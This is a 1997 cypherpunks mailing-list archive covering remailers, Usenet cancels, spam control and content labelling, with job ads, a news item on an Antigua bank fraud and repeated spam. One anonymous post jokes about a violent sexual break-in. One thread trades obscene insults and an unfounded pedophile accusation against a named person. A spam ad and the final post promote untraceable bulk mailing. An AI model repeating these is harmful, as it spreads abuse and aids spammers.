Message-ID: <Pine.LNX.3.93.970807015433.102A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Adam Back wrote:

> Mark Grant <mark@unicorn.com> writes:

[...]

> > so all that a government need do to censor a particular site is to
> > scan for those messages and issue cancels.

> - I understand cancels are ignored a lot of places, due to problems with
>   censorous people, and pranksters issuing tons of forged cancels.

And alot like to use canceles.  If censorus groups (not neccery the
goverment) starts canceling we may be able to create a resector like that
used in news.admin.net-abuse.*

[...]

>   I don't have any figures for how widespread the practice of
>   configuring news to ignore cancels is.  

Most sites still hounder cancels,  a growing number ignore them (often for
preformence resons).

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 7 Aug 1997 04:36:30 +0800
To: cypherpunks@toad.com
Subject: Re: distributed data store, a la eternity
In-Reply-To: <cgP1ae7w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970807020129.102B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> However Dejanews doesn't process cancels.

However Dejanews dose not store binaries.  I do not know if there filters
consider PGP ascii armor as a binarie.  So Dejanews may not store the
cancels.  You could try and get it of a "Site of vertue" or jetcafe.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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=9Uc7
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mail@sendmailco.com
Date: Fri, 8 Aug 1997 16:18:13 +0800
To: cypherpunks@Algebra.COM
Subject: RE: 25,000,000 People
Message-ID: <199708070921.CAA11112@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Would you be interested in...

* Sending out Bulk Email FREE for 30 Days?
* Receiving 25 MILLION Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account,
  without EVER having to worry about it being canceled?
* Sending out a FREE Bulk Email Advertisement for your Business
  or Web Page to over 250,000 people per day?
* Posting a FREE Ad for your business to over 25,000 Newsgroups
  in under three hours?

To find out how to do all of this and more for FREE, email our
autoresponder at: send@nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!


To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mail@sendmailco.com
Date: Fri, 8 Aug 1997 16:19:29 +0800
To: cypherpunks@toad.com
Subject: RE: 25,000,000 People
Message-ID: <199708070921.CAA12275@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,


Would you be interested in...

* Sending out Bulk Email FREE for 30 Days?
* Receiving 25 MILLION Email Addresses FREE of charge?
* Sending out Bulk Email using your CURRENT Internet Account,
  without EVER having to worry about it being canceled?
* Sending out a FREE Bulk Email Advertisement for your Business
  or Web Page to over 250,000 people per day?
* Posting a FREE Ad for your business to over 25,000 Newsgroups
  in under three hours?

To find out how to do all of this and more for FREE, email our
autoresponder at: send@nim.com

You MUST Place the word "FREE" in the Subject Line so our
autoresponder mailbot can send you this FREE Information!


To be removed from our mailing list, email our autoremover
at: remove@nim.com

You MUST Place the word "REMOVE" in the Subject Line so our
autoremover mailbot can remove you from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Thu, 7 Aug 1997 02:30:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: <199708061713.DAA09431@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


    Kent Crispin said:

>On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
>> Here's the sequence of events as I see it:
>> 
>>  1. spammer spams you with adverisement for phone sex line
>>  2. you try to sue phone sex line company
>>  3. phone sex company denies all knowledge
>>  4. government says all email must be authenticated 
>>  5. government issues internet drivers license
>>  6. anonymous remailers work around authentication requirement
>>  7. government outlaws remailers
>> 
>> See any flaws in that logical and undesirable sequence of events?
>
>The flaws become apparent if you try to attach a *realistic*
>probability to each step.

Wasn't the UPS trying to promote some system of authentication (where you 
pay just as like you purchase postage stamps now) at a trade show of some 
description in the US this year or late last year? I recall a post on 
this to this list but can't recall the detail. Anyone recall the details 
of that post?

I know last year the australian post office suggested such a role for 
themselves and they didn't see it as a voluntary proposal. I haven't 
heard anything from them lately so maybe it was all just too difficult.

- -- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///     PGP mail preferred            apache@quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 7 Aug 1997 09:51:31 +0800
To: cypherpunks@toad.com
Subject: "Voluntary" Bullshit
Message-ID: <199708070137.DAA10966@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin didn't have any better sense than to write:
> 
> When I said "voluntary" I meant
> voluntary, not some Orwellian variant of the word, OK?  
> Not "mandatory voluntary"

  I know what a "label" is. What is a "voluntary" label?
  A "voluntary" label is nothing more than a threat, plain and simple.
It is the first volley in a coming war of censorship.

  The town I live in sent me a form for paying a "voluntary" fine
for my dog running loose. I thought that was great. I sent them a
letter telling them I would pay my "voluntary" fine when I came in
for my "voluntary" execution.
  I'm old enough to know better, but I was still naieve enough to
be surprised when a gun-toting Mountie with handcuffs and mace and
two billy clubs dropped by to ask me when I was going to pay my 
"voluntary" dog fine. Sure enough, it turns out that if I fail to
pay the "voluntary" fine, a man with a gun comes with a summons 
requiring me to answer to the charge in the presence of the King.
{Not Elvis}
  I walked down to the city office with my dog, who came in and ran
around sniffing the Mountie and city employees as I paid their fine
for not cruelly imprisoning her. I asked how much I owed them for 
not beating her, too, but they just looked at me funny until I left.
  And this is a small country town, with "voluntary" stop signs.

  I think I'll get a knife or gun, climb through a bedroom window,
and find someone who wants to "voluntarily" have sex with me.
  "Ma'am, the reason I climbed through your window in the middle
of the night was to protect your children from inadvertantly
walking in and viewing the obscenity that's about to take place.
  "As a matter of fact, I think there is pending legislation to
_require_ you to have sex with me when I crawl through your
bedroom window in the middle of the night. It's for your own
protection, so that I don't have to bring a weapon, next time."

VoluntaryMonger
"I _choose_ to be an asshole."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 8 Aug 1997 16:17:26 +0800
To: cypherpunks@toad.com
Subject: IPSEC Analyst and Engineers Wanted
Message-ID: <v03110705b00f5e8c2512@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: silence.secnet.com: majordom set sender to
owner-security-jobs@secnet.com using -f
From: "Meryweather, Rod" <Rod.Meryweather@wang.com>
To: "'security-jobs@secnet.com'" <security-jobs@secnet.com>
Subject: IPSEC Analyst and Engineers Wanted
Date: Wed, 6 Aug 1997 15:51:30 -0400
X-Priority: 3
MIME-Version: 1.0
Sender: owner-security-jobs@secnet.com
Precedence: bulk

WANG GOVERNMENT SERVICES
SECURITY SERVICES
POSITION OVERVIEW AND SUMMARY

Organization Overview
The Wang GS Security Services organization is a descendant from the
Honeywell Information Systems group that has been focused on developing
High Assurance computing solutions for the US Government since the late
1970's.  Honeywell was the first vendor to have a system evaluated by
the NSA National Computer Security Center (NCSC) against the Orange Book
(a document that defines levels of trust that can be reached by
operating systems) at the A1 level - the highest - in 1984.  Our XTS 300
product is a direct descendent of the A1 SCOMP platform, and is
currently evaluated at the B3 level of trust.

The Security Services (SS) organization focuses on development and
deployment of secure solutions.   Product activities are contained in a
group focused on the XTS 300 operating system and a trusted guard
development framework product (the SAGE).  The rest of the organization
is focused on implementation of task-specific solutions.  These
currently include:

The DMS/DII Guard:  This is a multi-year development effort that will
result in a XTS 300-based X.400/X.500 guard with strong user
authentication and encryption support (FORTEZZA).

The State Department Guard:  This is a new project that will implement a
proprietary (State-compliant) XTS 300-based telegram network guard that
works with identification of unclassified telegrams.

The Command and Control Guard:  The C2G effort involves the evolution of
an existing XTS 300-based Government-owned Guard application that is
deployed world-wide.

The FBI:  Wang currently has developed and deployed multiple IBM
communications guards for the FBI, and continues to evolve and enhance
the functional capabilities of these XTS 300-based systems.

The IRS:  This effort does not involve the XTS 300.  Rather, Wang is
responsible for the EDI telecommunications and security infrastructure
of the IRS Tax Collection system, based on an NCR commercial Unix
platform.

DLA Security Assessment:  Wang currently supports the security planning,
assessment and accreditation activities with the DLA and the Defense
MegaCenter in Dayton, Ohio.

General Technical Requirements
Excellent C and Unix skills (we do not code in C++ except for the IRS
project).  Strong structured design and documentation skills.  Linux OS
on Pentium workstation.  Heavy emphasis on one of the following areas:
Computer Security, Unix Kernel (device drivers, printer drivers, API, OS
construction), Communications (TCP/IP, X.400, X.500, SNMP), Encryption
(PCMCIA or software-based), GUI development (X), Testing.  MUST be
clearable to TS.  MUST have a BS degree or equivalent experience.  MUST
be a self-starter and quick learner.   Competitive compensation and
benefits, casual dress code, technical organization.  Herndon location
as of August 1, 1997.  See
http://www.wangfed.com/products/ssso/homepage.html for product details,
http://wang.com for information about Wang.

Specific Positions

Senior OS Developer (1)

Candidate will be a member of the XTS 300 OS development staff, and
should have considerable exposure (8-15 years) to the construction and
enhancement of a Unix OS.  Activities include API development and
enhancement, device driver implementation (e.g., printer, SCSI,
"console", PCMCIA devices, ethernet (802.3 + 100Mb or ATM)), application
porting (e.g., X), bug fixes, and new platform porting (from one Pentium
mother board to the next).  Orange Book security a BIG plus.

Junior OS Developer (2)

Candidate will be a member of the XTS 300 OS development staff, and
should be very comfortable with heavy structured C and Unix (OS
construction, release building from source, etc.)  Linux experience a
big plus.  2-5 years experience with heavy C, Unix, and at least one of
the following:  GUI development, application porting on Unix,
communications (TCP/IP, X.4/500, SNMP),  systems installation and debug,
heavy scripts, heavy testing. Orange Book security a BIG plus.

XTS 300 GUI Developer

Candidate will initially be assigned to the State Department Guard task,
and will be responsible for the specification, design, development,
implementation, testing and documentation of the man-machine interfaces
for this Guard (Main-in-the-Middle review capability, dirty word list
management, report generation, etc.).  This will be developed with a
subset of X (Motif-based).  3-5 years experience in X, C, Unix,
documentation, design.

Sr. XTS Applications Developer (3)

Candidate will be a member of the XTS 300 Application Development focus
group, and will be responsible for a lead role in the development of
Guard applications.  Must have 8-15 years heavy C, Unix, Comm (TCP/IP,
X.4/500), structured design, documentation, development, implementation,
testing, debug and support.  Orange Book Security and Guard/Firewall
design a big plus.

Jr. XTS Applications Developer (3)

Candidate will be a member of the XTS 300 Application Development focus
group, and will be responsible for a supporting role in the development
of Guard applications.  Must have 2-5 years heavy C, Unix, with a focus
in one or more of the following: Comm (TCP/IP, X.4/500), structured
design, documentation, development, implementation, testing, debug and
support.  Orange Book Security and Guard/Firewall design a big plus.

Accreditation Support/Risk Assessment

Candidate will be a member of the DMS/DII Guard Development and
Deployment team, and will be responsible for taking a lead role in the
assessment and justification of the assurance of the Guard architecture.
Required 6-12 years experience with trusted solutions and architectures,
X.400/X.500, accreditation and deployment issues.  Strong documentation
and communications (verbal) experience.



Rod Meryweather
Sr. Security Analyst

                     Wang Federal, Inc.
Rod.Meryweather@wang.com
                     540 Huntmar Park Dr.                Wk:  (703)
827-3818
                     Herndon , Va 22102-4299          Fax: (703)
827-3161




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 16:18:05 +0800
To: cypherpunks@toad.com
Subject: Applied crypto, security guru needed, from Coopers & Lybrand
Message-ID: <Pine.GSO.3.95.970807080202.6016A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



[From a CMU computer science department mailing list. --Declan]

---------- Forwarded message ----------
>From: Dahl Gerberick <Dahl.Gerberick@us.coopers.com>
>
>Hi,
>
>I recently took a senior level position with Coopers & Lybrand in Boston.
>As such it has come to my attention that they are looking for someone with
>the following background.
>
>I do not expect that you will know where I can find such a person right
>now, but if you keep this message handy you might think of me if that
>person should come along in the near future.
>
>If you should find someone who meets these requirements please get back to
>me, or have them contact me directly.
>
>          Dahl Gerberick
>          617-478-9936 (Office)
>          617-478-5900 (Fax)
>          617-784-2701 (Home)
>          gerberick@acm.org
>
>Thanks
>Dahl - -
>
>PS:  Feel free to redistribute this message as you see fit.
>
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>- - - - - - - - - - - - - - - - - - - - -
>
>  1.  Minimum 5- 10 years experience in applied cryptography
>
>  2.  Ability to design and implement security applications that utilize
>       encryption technology
>
>  3.  Extensive knowledge of X.509 standards for digital certificates
>
>  4.  Detailed knowledge of all prevailing algorithms, DES, IDEA, RSA,
>       Elliptic curve, etc.
>
>  5.  Algorithm development background not necessary
>
>  6.  Intimate knowledge of all national standards for cryptographic
>       implementations such as ANSI X.9 working group standards
>
>  7.  Intimate knowledge of all commercially available encryption
>       products from vendors such as Entrust, Verisign, Cylink, IBM,
>       GTE, etc.
>
>  8.  Knowledge of legal implications of electronic commerce such
>       as ABA Digital Signature standard
>
>  9.  Security consulting background a plus
>
>  10. Technical skill in TCP/IP, UNIX, internetworking technology
>
>
>
>










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 8 Aug 1997 16:18:45 +0800
To: Adam Back <mark@unicorn.com
Subject: Re: Eternity Uncensorable?
In-Reply-To: <Pine.LNX.3.91.970806145040.16936A-100000@cowboy.dev.madge.com>
Message-ID: <v03102800b00fa166efe1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Mark Grant <mark@unicorn.com> writes:
>> On Wed, 6 Aug 1997, Adam Back wrote:
>The solution is to have disposable tents, lots of.
>
>What about AOL disks?  We need shorter lived, disposable remailers as
>exit remailers...  Let them take the heat, while the real remailers
>walk.  Lets see a series of "exitman" remailers.  Exitman remailers
>are walking targets left to fend for themselves as long as they may.
>
>I propose that an exit remailer is replaceable, that is another
>remailer can instantly step into it's place and take traffic.  The way
>to do this is to have a special automated reporting mechanism for
>exitman remailers.  An easy way to do it is to have the exitman
>remailers send mail to a given mailing list.  Other remailers which
>wish to use exitman remailers just subscribe to the chosen mailing
>list.  We just need a remailer command indicating the creation of a
>new exitman remailer.  I guess the exitman remailer just sends one
>message per day, or whatever, and if it stops, you write it off.
>
>Is there a military term for something sent in to get shot to bits,
>just to distract attention from other movement?  A decoy?

A possible problem is the motivation of those setting up decoys.  If
they're doing it to help thwart remailer abuse, fine.  But what if their
intent is to thwart remailers?  Couldn't these dissidents set up black-hole
remailers which are simply information sinks?  When a email is
chain-remailed and doesn't get delivered many, but not all, senders would
simply assume one of the remailers are having delivery problems and resend.
Will Raph's approach work to monitor  decoys when their number and identity
are constantly changing?  Won't this significantly complicate remailer
clients?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 8 Aug 1997 16:18:05 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <Pine.GSO.3.95.970806122031.8195G-100000@well.com>
Message-ID: <v03102801b00fa6631bf9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:23 PM -0700 8/6/97, Declan McCullagh wrote:
>Does anyone have a detailed understanding of how cookies work? I've read
>Netscape's explanation of the protocol, but I still have some questions.
>
>-Declan

The July issue of Internet World, "Baking Your Own Cookies," contains a
good introduction into some of the details.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 16:17:05 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Query on cookies
In-Reply-To: <v03102801b00fa6631bf9@[10.0.2.15]>
Message-ID: <Pine.GSO.3.95.970807093112.4169A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks for the help, folks. This is for an article on privacy I was
working on, and I found the info I needed. For instance, Netscape's
explanation of the protocol left me wondering about whether cookies from
acme.com could be requested by competitor.com.

I ended up talking to some Netscape engineers, who were as puzzled as I
was by where the term "cookie" came from. But I found it in the good ol'
Jargon File... 

-Declan


On Thu, 7 Aug 1997, Steve Schear wrote:

> At 12:23 PM -0700 8/6/97, Declan McCullagh wrote:
> >Does anyone have a detailed understanding of how cookies work? I've read
> >Netscape's explanation of the protocol, but I still have some questions.
> >
> >-Declan
> 
> The July issue of Internet World, "Baking Your Own Cookies," contains a
> good introduction into some of the details.
> 
> --Steve
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 8 Aug 1997 16:19:10 +0800
To: cypherpunks@toad.com
Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes
In-Reply-To: <ww01-BHeVX12341@netaddress.usa.net>
Message-ID: <v03102807b00fac87b0aa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:23 PM -0700 8/5/97, bpettigrew@usa.net wrote:

>The solution to bad speech is more speech.  Don't suppress, ban,
>or oppose RSAC.  Provide alternatives.
>

Most of us aren't trying to "ban" labels, or suppress or oppose them, per se.

Just to ban, suppress, and oppose:

- any scheme to require them

- any scheme in which labels are an "affirmative defense"

- any "mandatory voluntary" schemes

- any moves to legislate or dictate the forms labels may take


--Tim May




Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Fri, 8 Aug 1997 16:22:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Qualcomm employee attacks the remailers
Message-ID: <3.0.16.19691231190000.4a57c97e@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:37 PM 8/6/97 EDT, The Anti American, KGB loving  bucket of animal
dung and human excrement :
 Dr.Dimitri Vulis KOTM wrote the following, and again the master of
disinformation and  harassing e-mail, points
out that others are targeting him for the abuses that he is famous for.

Are we expected to have sympathy for this dick brain?


>
>Paul Pomes <ppomes@Qualcomm.com> writes:
>
>> |Paul Pomes sends me harrassing e-mail and quotes more obscenities from
>> |the anonymous remailers:
>
>such as:
>
>]I take this all to mean that you are Master Cocksucker Dimwit Vulis?
>
>> As you posted the obscenities in the first place I fail to understand your
>> objections.
>
>
>Lie from Pomes: I never in my life sent anything to this motherfucker.
>
>Another lie from Pomes: a few days ago the motherfucker wrote:
>
>]Subject: Re: Entrust Technologies's Solo - free download
>]From: Paul Pomes <ppomes@Qualcomm.com>
>]Organization: Qualcomm, Inc.
>]To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>]Cc: freedom-knights@jetcafe.org
>]Date: Wed, 30 Jul 1997 09:13:52 -0700
>]Message-Id: <9502.870279232@zelkova.qualcomm.com>
>]Sender: ppomes@Qualcomm.com
>]
>]At 9:22 EDT on Wednesday, July 30, 1997, Dr.Dimitri Vulis KOTM wrote:
>]
>]|I ask everyone on these two forums to inform Northern Telecom Forgers /
>]|Bell North Forgery Research / Entrust that we will boycott their
>]|"security" products as long they continue to employ the child-molesting
>]|pedophile Chris R. Lewis - the biggest forger on Usenet.
>]
>]Sorry, I'm afraid that honor belongs to you, Dimi.  What I will do is
>]killfile you as also the biggest un-cultured twit on Usenet.  High honors
>]of a sort.
>]
>]/pbp
>
>Clearly Pomes lied about having killfiled me.
>
>Pomes harrasses anonymous remailer operators: he has been complaining to
>Jeff Berches's employer and upstream, contributing to his decision
>to shut down the cajones remailer:
>
>]To: abuse@hotwired.com, abuse@bbnplanet.net, remailer-admin@cajones.com
>]        jeff@hotbox.com, ops@bbnplanet.com, toxic@content.org,
>]        dgaudet-djg20@arctic.org
>]From: Paul Pomes <ppomes@Qualcomm.com>
>
>Tim Skirvin condones and supports net-abuse by Net.Scum like Pomes,
>Hannigan, and Varshavchik.
>
>Please tell Qualcomm what you think about their employee attacking
>the anonymous remailers.
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Fri, 8 Aug 1997 16:18:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: anti-spam law implies laws against remailers?
In-Reply-To: <199708061705.SAA03362@server.test.net>
Message-ID: <97Aug7.103456edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, Adam Back wrote:

> 2) When the government or whoever wants to sue someone for spam they
>    will have to prove who the spammer is.  (Right?)  So now they'll
>    look at the From address at it will say remailer@foo.com.  So
>    they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
>    won't be able to cooperate because he doesn't keep logs.  They won't
>    be happy with Fred, and will pass this information along to him by
>    stealing his equipment, prosecuting him for assisting in a felony
>    crime (they'll make it a felony right?), lock him and throw away
>    the key.  But what about Freds constitutional protection of the
>    speech forwarded by his remailer?  (Judge + congress-critter:
>    Constitution wassat?)
> 
> 3) Repeat step 2 x 100 and "something will have to be done" about the
>    remailers (if there are any left!)  It really isn't that far
>    fetched to have laws against remailers in the US.  Not so long ago
>    the guy from the two-man band Georgia EFF were telling us about how
>    they fought some law which had already tried to do this in that
>    state.

I suppose you could sue a local office or copier services place if I sent
one "unsolicited commercial fax" using their equipment, but it would be
impractical.

Most of the spam I get has thousands of other recipients, and none of it
has ever gone through a remailer, and always points to a "spam-friendly" 
ISP, or often already has their account cancelled by the time I report it. 

If we could get AGIS (the last of the large bandwidth suppliers) to pull
the plug on the IEMMC sites - I already have many spams from their members
violating their code - most spam would disappear.  It also seems that AGIS
is getting a bad reputation, but I don't know how many sites are leaving
or joining, but if they don't have interesting content, and don't pull the
plug on the IEMMC, adjustments to enough routing tables will accomplish
the same thing.

If we can stop the bulk spammers, things would quiet down.  The problem is
to stop the smokestack belching smoke without preventing me from using a
torch in my back-yard at night.

If remailers don't automatically do anonymous mailings to a 10,000 entry
Bcc: list, they would only be able to spam a few hundred people at a time
even using remailers.

Generally that isn't enough to be worth the time since only a tiny
fraction of a percentage will respond to generic requests.  If you can
only do 500, it would then pay to get a narrower list, or even personalize
things, and I might actually read something that interests me.  No one
considers announcements for cryptographic technology products on this list
as "SPAM".

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Thu, 7 Aug 1997 09:10:27 +0800
To: cypherpunks@toad.com
Subject: Old Cryto stuff,
Message-ID: <Pine.SOL.3.91.970807104936.23520B-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain



Can anybody suggest any good books on old cryto techniques ?? I'm finally 
learning to program, along with the stuff i've got to learn as part of 
the class i thought i would make a start on learning to code 
crypotgraphic algorithms. I was after some old ones that are simple to 
code in software. Unfortuently the one in the back of the Schnier book 
are a little to complex for my limited programming knowledge so far. 

So can anybody help or will i just be ignored like i have been at other 
times ? 

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 8 Aug 1997 16:20:13 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
Message-ID: <Pine.LNX.3.91.970807113421.32528F-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 31 Jul 1997, Jeff Barber wrote:

> Network bandwidth used for the purpose of email transport,
> even with increased spamming factored in, is simply too low to justify
> charging much for it.  It will still be *way* cheaper than surface mail.

Yep; which is why it's a bad idea. We don't need net postage to pay the
ISP, we need net postage to pay *me* to read the spam. Making them pay
$0.0001 to send a message will have little impact, but making them pay me
$1 to read it certainly will (i.e. my filters could block all potential
spam unless it includes a dollar of ecash). I have no problem with
spammers subsidising my Net access, I just object to having to pay for
their crap. 

> So unless the percentage of people who delete it instantly, sight-unseen,
> is higher than I suspect or new tools make it easy to filter out all
> spam, it's going to remain economically advantageous for the spammers
> to target broadly.

I've seen one spam in the last two weeks. The other 100k or so was blocked
by my filters; I'm almost starting to miss it. When you actually sit down
and analyse the spam most of it has so many obvious 'spam-tags' that you
can easily work out a set of rules to catch them. The only disadvantage is
that on a couple of occasions it's caught mail from friends when they sent
it through a site which appends advertising rather than from their normal
address. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 8 Aug 1997 16:00:02 +0800
To: cypherpunks@Algebra.COM
Subject: Fraud Feared as Antigua Net Bank Fails
Message-ID: <33EA1ED3.1B5D1919@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://nytsyn.com/live/Latest/218_080697_110027_578.html

Fraud Feared as Antigua Net Bank Fails 

By EMILE VALERE 
c.1997 Bloomberg News 

T. JOHN'S, Antigua - The Antigua and Barbuda government issued a fraud
alert Tuesday after the collapse of European Union Bank and the
disappearance of
its cofounders. 

The locally-chartered bank, which fired all its employees last Thursday,
had
marketed itself as the first off-shore bank on the Internet. 

The Antiguan government hired the accounting firm Coopers and Lybrand
LLP to
examine the records of the three-year-old company. 

Callers to the bank heard a recorded message that gave only a hint that
something
was amiss. 

``Welcome. You have reached the European Union Bank,`` said a
reassuring-sounding male voice. ``Due to technical reasons, some of our
services
involving the security mode are temporarily unavailable.'' 

The bank's Internet site, http://www.eubank.ag , was also unavailable. 
Meanwhile, the government is on the look-out for the bank's founders,
Serbveo
Ushakov, allegedly of Bronxville, New York, and Vietalui Papsouev of
Richmond
Hill, Ontario, according to the Caribbean News Agency. The government
says the
two are Russian nationals. 

The Idaho Department of Finance on May 30 ordered European Union to stop
soliciting deposits from Idaho residents over the Internet. 

``I can't say I'm surprised'' at the news of the bank's collapse, said
Gavin Gee,
director of the department. 

Idaho alleged the bank, without a state or federal charter, was
operating illegally.
Gee said he hopes other U.S. regulators will take similar actions
against off-shore
banks soliciting over the Internet. 

``If nobody's going to take action against fraud on the Internet, we've
got a serious
problem,'' said Gee. 

Antigua has more than 50 off-shore banks. Prime Minister Lester Bird
last
February targeted three of them to be shut down because of their alleged
involvement with Russian crime rings. 

The Associated Press reported last week that the Bank of England warned
investors last fall about depositing funds in European Union Bank. 

(The Bloomberg web site is at http://www.bloomberg.com )< 

(Disbributed by The N.Y. Times News Service)< 

NYT-08-06-97 1054EDT<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 8 Aug 1997 16:30:25 +0800
To: cypherpunks@cyberpass.net
Subject: Exit Remailer Suggestion
Message-ID: <19970807192254.40.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone wrote:

 > What about AOL disks?  We need shorter lived, disposable
 > remailers as exit remailers...  Let them take the heat,
 > while the real remailers walk.  Lets see a series of
 > "exitman" remailers.  Exitman remailers are walking targets
 > left to fend for themselves as long as they may.

We already have a preconfigured set of exit remailers.  They have
names like "hotmail", "rocketmail", etc...  These are the
web-based email services which will instantly create accounts for
anyone, no questions asked or authentication required, and permit
access to these accounts with the chosen password from anywhere
on the Net.  You can even chain them, using an account on one to
apply for an instant account on another, leaving few bread crumbs
for anyone to follow.

Most of these services don't care, don't log, and rarely read
their email to abuse@. Even if pressure does cause an occasional
account to be deleted, you can easily create ten more in as many
seconds.

By reconfiguring current remailers to use a public Email service
as the last link in the chain, we tap a potentially infinite
supply of disposable accounts, on advertising-supported service
providers with skins as thick as those of the bulk emailers.

Sounds like a plan to me.

--
